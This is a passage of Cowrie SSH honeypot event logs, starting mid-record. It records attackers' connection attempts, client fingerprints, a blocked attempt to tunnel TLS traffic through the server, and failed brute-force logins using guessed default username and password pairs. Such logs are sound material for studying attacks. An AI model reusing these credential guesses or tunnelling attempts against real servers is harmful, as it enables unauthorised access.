003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xa4ip\\xa2n\\xa2a\\x8d\\x15\\\\a\\x172\\xc1\\xd7U<SD\\xe5H\\xa8z\\xbd\\xfe\\xd9EOI0\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x1b\\xee\\xcc2\\xdf\\x88\\xfe=\\xb1\\xaf$\\x9f\\xfe\\xd63?\\x18VD\\x03\\x06\\xa4\\x029\\x1c\\xb1\\xc2\\xab}\\x89> \\xfe!\\xdc\\xc3\\xa6B\\xe7:\\xd9=2!\\xb7\\xc81\\xe9\\x94F\\x98\\xbaM\\xea\\x10\\x86\\x92\\xdb\\xac\\x9b\\x85\\x12t\\xcc\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xa4ip\\xa2n\\xa2a\\x8d\\x15\\\\a\\x172\\xc1\\xd7U<SD\\xe5H\\xa8z\\xbd\\xfe\\xd9EOI0\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.052844Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.431350Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61500,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d9ec91c7bb2","protocol":"ssh","message":"New connection: 45.153.34.195:61500 (10.17.0.5:22) [session: 9d9ec91c7bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.654980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.839360Z","src_ip":"45.153.34.195","session":"9d9ec91c7bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.842849Z","src_ip":"45.153.34.195","session":"9d9ec91c7bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"kiran","message":"login attempt [kiran/kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.340736Z","src_ip":"45.153.34.195","session":"9d9ec91c7bb2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.373179Z","src_ip":"91.92.40.36","session":"f03fd4529dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.378965Z","src_ip":"91.92.40.36","session":"f03fd4529dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.434262Z","src_ip":"91.92.40.36","session":"cb32a7a42374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19696,"dst_ip":"159.203.135.109","dst_port":22,"session":"7510f3408683","protocol":"ssh","message":"New connection: 91.92.40.36:19696 (159.203.135.109:22) [session: 7510f3408683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.780902Z"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:31.799245Z","src_ip":"91.92.40.36","session":"80de36fe8331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!@#$","message":"login attempt [ubuntu/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:32.488727Z","src_ip":"91.92.40.36","session":"2f27093b334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:32.529207Z","src_ip":"45.153.34.195","session":"9d9ec91c7bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50578,"dst_ip":"10.17.0.5","dst_port":22,"session":"55717a7b6f0c","protocol":"ssh","message":"New connection: 45.153.34.195:50578 (10.17.0.5:22) [session: 55717a7b6f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:33.626430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:33.637428Z","src_ip":"45.153.34.195","session":"55717a7b6f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:33.728756Z","src_ip":"45.153.34.195","session":"55717a7b6f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:34.369369Z","src_ip":"45.153.34.195","session":"55717a7b6f0c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:35.304874Z","src_ip":"91.92.40.36","session":"7510f3408683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:35.308422Z","src_ip":"91.92.40.36","session":"7510f3408683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:35.454518Z","src_ip":"45.153.34.195","session":"55717a7b6f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48820,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5c5afae1d5","protocol":"ssh","message":"New connection: 91.92.40.36:48820 (159.203.135.109:22) [session: 2a5c5afae1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:35.903709Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50592,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c591add2ede","protocol":"ssh","message":"New connection: 45.153.34.195:50592 (10.17.0.5:22) [session: 1c591add2ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:36.562407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:36.567168Z","src_ip":"45.153.34.195","session":"1c591add2ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:36.648423Z","src_ip":"45.153.34.195","session":"1c591add2ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dstserver","password":"dstserver","message":"login attempt [dstserver/dstserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:37.047905Z","src_ip":"45.153.34.195","session":"1c591add2ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:37.136209Z","src_ip":"91.92.40.36","session":"2f27093b334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:38.131891Z","src_ip":"45.153.34.195","session":"1c591add2ede","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.481513Z","src_ip":"91.92.40.36","session":"2a5c5afae1d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.485011Z","src_ip":"91.92.40.36","session":"2a5c5afae1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50598,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60f617bc959","protocol":"ssh","message":"New connection: 45.153.34.195:50598 (10.17.0.5:22) [session: c60f617bc959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.497434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.503569Z","src_ip":"45.153.34.195","session":"c60f617bc959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.586448Z","src_ip":"45.153.34.195","session":"c60f617bc959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moodle","password":"moodle","message":"login attempt [moodle/moodle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:39.844412Z","src_ip":"45.153.34.195","session":"c60f617bc959","protocol":"ssh"}
